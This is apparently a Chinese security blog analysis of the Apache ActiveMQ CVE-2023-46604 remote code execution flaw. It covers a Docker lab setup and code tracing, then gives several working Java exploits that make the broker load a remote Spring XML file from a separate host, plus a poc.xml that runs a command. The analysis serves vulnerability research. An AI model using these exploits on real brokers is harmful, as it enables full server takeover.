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Apache ActiveMQ 远程代码执行漏洞分析

发表于:2024-01-09 10:20 作者: 标准云 阅读数(1873人)

漏洞简介

Apache ActiveMQ官方发布新版本,修复了一个远程代码执行漏洞(CNVD-2023-69477  CVE-2023-46604),攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。

影响版本

Apache ActiveMQ 5.18.0 before 5.18.3
Apache ActiveMQ 5.17.0 before 5.17.6
Apache ActiveMQ 5.16.0 before 5.16.7
Apache ActiveMQ before 5.15.16
Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16

环境搭建

没有找到合适的 docker 镜像 ,尝试自己进行编写

可以站在巨人的肩膀上进行编写利用 利用项目 https://github.com/zer0yu/dfimage 分析镜像的dockerfile

docker pull islandora/activemq:2.0.7
dfimage islandora/activemq:2.0.7

image

结合 https://activemq.apache.org/version-5-getting-started

image

Dockerfile

FROM ubuntu
#ENV DEBIAN_FRONTEND noninteractive
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN apt-get update -y
RUN apt-get install wget -y
RUN apt install openjdk-11-jre-headless -y
COPY apache-activemq-5.18.2-bin.tar.gz /
#RUN wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
RUN tar zxvf apache-activemq-5.18.2-bin.tar.gz
RUN chmod 755 /apache-activemq-5.18.2/bin/activemq
RUN echo  '#!/bin/bash\n\n/apache-activemq-5.18.2/bin/activemq start\ntail -f /dev/null' > start.sh
RUN chmod +x start.sh
EXPOSE 8161 61616

CMD ["/start.sh"]


## 默认启动后 8161 的管理端口仅能通过 127.0.0.1 本地地址进行访问 可以通过修改 /conf/jetty.xml

docker-compose.yml

version: "2.2"
services:
activemq:
  build: .
  ports:
    - "8161:8161"
    - "61616:61616"

image

./activemq start
./activemq status
./activemq console
netstat -tuln | grep 8161
netstat -tuln | grep 61616

漏洞分析

下载源代码 https://archive.apache.org/dist/activemq/5.18.2/activemq-parent-5.18.2-source-release.zip

开启调试只需要修改 apache-activemq-5.18.2\bin\activemq

image

https://github.com/apache/activemq/compare/activemq-5.18.2..activemq-5.18.3

image

image

新版本的修复位置是在

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#createThrowable

image

ClassName 和 message 可控,代表着可以调用任意类的 String 构造方法,AvtiveMQ 内置 Spring,结合 org.springframework.context.support.ClassPathXmlApplicationContext​ 加载远程配置文件实现 SPEL 表达式注入。

寻找调用该方法的位置

image

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#looseUnmarsalThrowable

image

继续向上寻找调用

image

网上大部分都选用了 ExceptionResponseMarshaller​ 我们也基于此进行分析

org.apache.activemq.openwire.v11.ExceptionResponseMarshaller#looseUnmarshal

image

​继续向上寻找调用

image

org.apache.activemq.openwire.OpenWireFormat#doUnmarshal

image

我们看到此时 dsm 的值是基于传入的 dis.readByte();

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<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>

ActiveMQ中默认的消息协议就是openwire

‍编写一个 ActiveMQ 的通信请求

 public static void sendToActiveMQ() throws Exception {
       /*
        * 创建连接工厂,由 ActiveMQ 实现。构造方法参数
        * userName 用户名
        * password 密码
        * brokerURL 访问 ActiveMQ 服务的路径地址,结构为: 协议名://主机地址:端口号
        */
       ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616");
       //创建连接对象
       Connection connection = connectionFactory.createConnection();
       //启动连接
       connection.start();
       /*
        * 创建会话,参数含义:
        * 1.transacted - 是否使用事务
        * 2.acknowledgeMode - 消息确认机制,可选机制为:
        * 1)Session.AUTO_ACKNOWLEDGE - 自动确认消息
        * 2)Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制
        * 3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制
        */
       Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
       //创建目的地,也就是队列名
       Destination destination = session.createQueue("q_test");
       //创建消息生成者,该生成者与目的地绑定
       MessageProducer mProducer = session.createProducer(destination);
       //创建消息
       Message message = session.createTextMessage("Hello, ActiveMQ");
       //发送消息
       mProducer.send(message);
       connection.close();
  }

image

前面的调用栈为

doUnmarshal:379, OpenWireFormat (org.apache.activemq.openwire)
unmarshal:290, OpenWireFormat (org.apache.activemq.openwire)
readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)
doRun:232, TcpTransport (org.apache.activemq.transport.tcp)
run:215, TcpTransport (org.apache.activemq.transport.tcp)
run:829, Thread (java.lang)

此时 datatype 为 1 调用的是 WireFormatInfoMarshaller 我们要想办法调用 datatype 为 31 的 ExceptionResponseMarshaller

花式触发 ExceptionResponseMarshaller

现在我们的目的就是为了去调用 ExceptionResponseMarshaller

寻找触发 ActiveMQ 中的 ExceptionResponse

image

函数 org.apache.activemq.ActiveMQSession#asyncSendPacket​ 和

函数 org.apache.activemq.ActiveMQSession#syncSendPacket​ 都可以发送 command

最后会调用到 org.apache.activemq.transport.tcp.TcpTransport#oneway​ 也可以通过 ((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);​ 和 ((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);​来触发

image

    public static void ExceptionResponseExploit() throws Exception {
       ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
       Connection connection = connectionFactory.createConnection("admin","admin");
       connection.start();
       ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
       ExceptionResponse expetionResponse = new ExceptionResponse();
       expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
       ExploitSession.syncSendPacket(expetionResponse);
       //ExploitSession.asyncSendPacket(expetionResponse);
       //((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);
       //((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);
       connection.close();

  }

image

由于 ExceptionResponse​ 实例化的时候必须传入 Throwable​ 类型,但是 ClassPathXmlApplicationContext​ 不是该类型,所以需要 修改 ClassPathXmlApplicationContext​ 继承 Throwable​ 。添加如下代码

package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
   public ClassPathXmlApplicationContext(String message) {
       super(message);
  }
}

相同的方法可以运用在 ConnectionErrorMarshaller 和 MessageAckMarshaller

   public static void ConnectionErrorExploit() throws Exception {
       ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
       Connection connection = connectionFactory.createConnection("admin","admin");
       connection.start();
       ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
       ConnectionError connectionError = new ConnectionError();
       connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
       //ExploitSession.syncSendPacket(connectionError);
       //ExploitSession.asyncSendPacket(connectionError);
      ((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);
       connection.close();

  }
    public static void MessageAckExploit() throws Exception {
       ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
       Connection connection = connectionFactory.createConnection("admin","admin");
       connection.start();
       ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
       MessageAck messageAck  = new MessageAck();
       messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
       ExploitSession.syncSendPacket(messageAck);
       //ExploitSession.asyncSendPacket(messageAck);
       //((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck);
       connection.close();

  }

通过数据流进行触发 ExceptionResponseMarshaller

‍主要是依据 ActiveMQ的协议 去触发 ExceptionResponseMarshaller

        String ip = "127.0.0.1";
       int port = 61616;
       String pocxml= "http://192.168.184.1:9090/poc.xml";
       Socket sck = new Socket(ip, port);
       OutputStream os = sck.getOutputStream();
       DataOutputStream out = new DataOutputStream(os);
       out.writeInt(0); //
       out.writeByte(31); //dataType ExceptionResponseMarshaller
       out.writeInt(1); //CommandId
       out.writeBoolean(true); //ResponseRequired
       out.writeInt(1); //CorrelationId
       out.writeBoolean(true);
       //use true -> red utf-8 string
       out.writeBoolean(true);
       out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
       //use true -> red utf-8 string
       out.writeBoolean(true);
       out.writeUTF(pocxml);
       //call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce
       out.close();
       os.close();
       sck.close();

通过伪造类实现触发 ExceptionResponse

‍我们看到 org.apache.activemq.transport.tcp.TcpTransport#readCommand

image

利用 wireFormat.unmarshal​ 来对数据进行处理 所以我们找到相对应的 wireFormat.marshal

org.apache.activemq.transport.tcp.TcpTransport#oneway

image

通过本地新建 org.apache.activemq.transport.tcp.TcpTransport​ 类重写对应逻辑,运行时优先触发本地的 TcpTransport 类

 /**
    * A one way asynchronous send
    */
   @Override
   public void oneway(Object command) throws IOException {
       checkStarted();
       Throwable obj = new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml");
       ExceptionResponse response = new ExceptionResponse(obj);
       wireFormat.marshal(response, dataOut);
       dataOut.flush();
  }

将发送的请求无论是什么数据都修改为 触发 ExceptionResponseMarshaller ,同样也因为 ExceptionResponse​ 实例化的时候必须传入 Throwable​ 类型,但是 ClassPathXmlApplicationContext​ 不是该类型,所以需要 修改 ClassPathXmlApplicationContext​ 继承 Throwable​ 。必须添加如下代码

package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
   public ClassPathXmlApplicationContext(String message) {
       super(message);
  }
}

‍poc.xml

<?xml version="1.0" encoding="UTF-8" ?>
   <beans xmlns="http://www.springframework.org/schema/beans"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="
    http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
       <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
           <constructor-arg >
           <list>
               <value>touch</value>
               <value>/tmp/1.txt</value>
           </list>
           </constructor-arg>
       </bean>
   </beans>

漏洞复现

7

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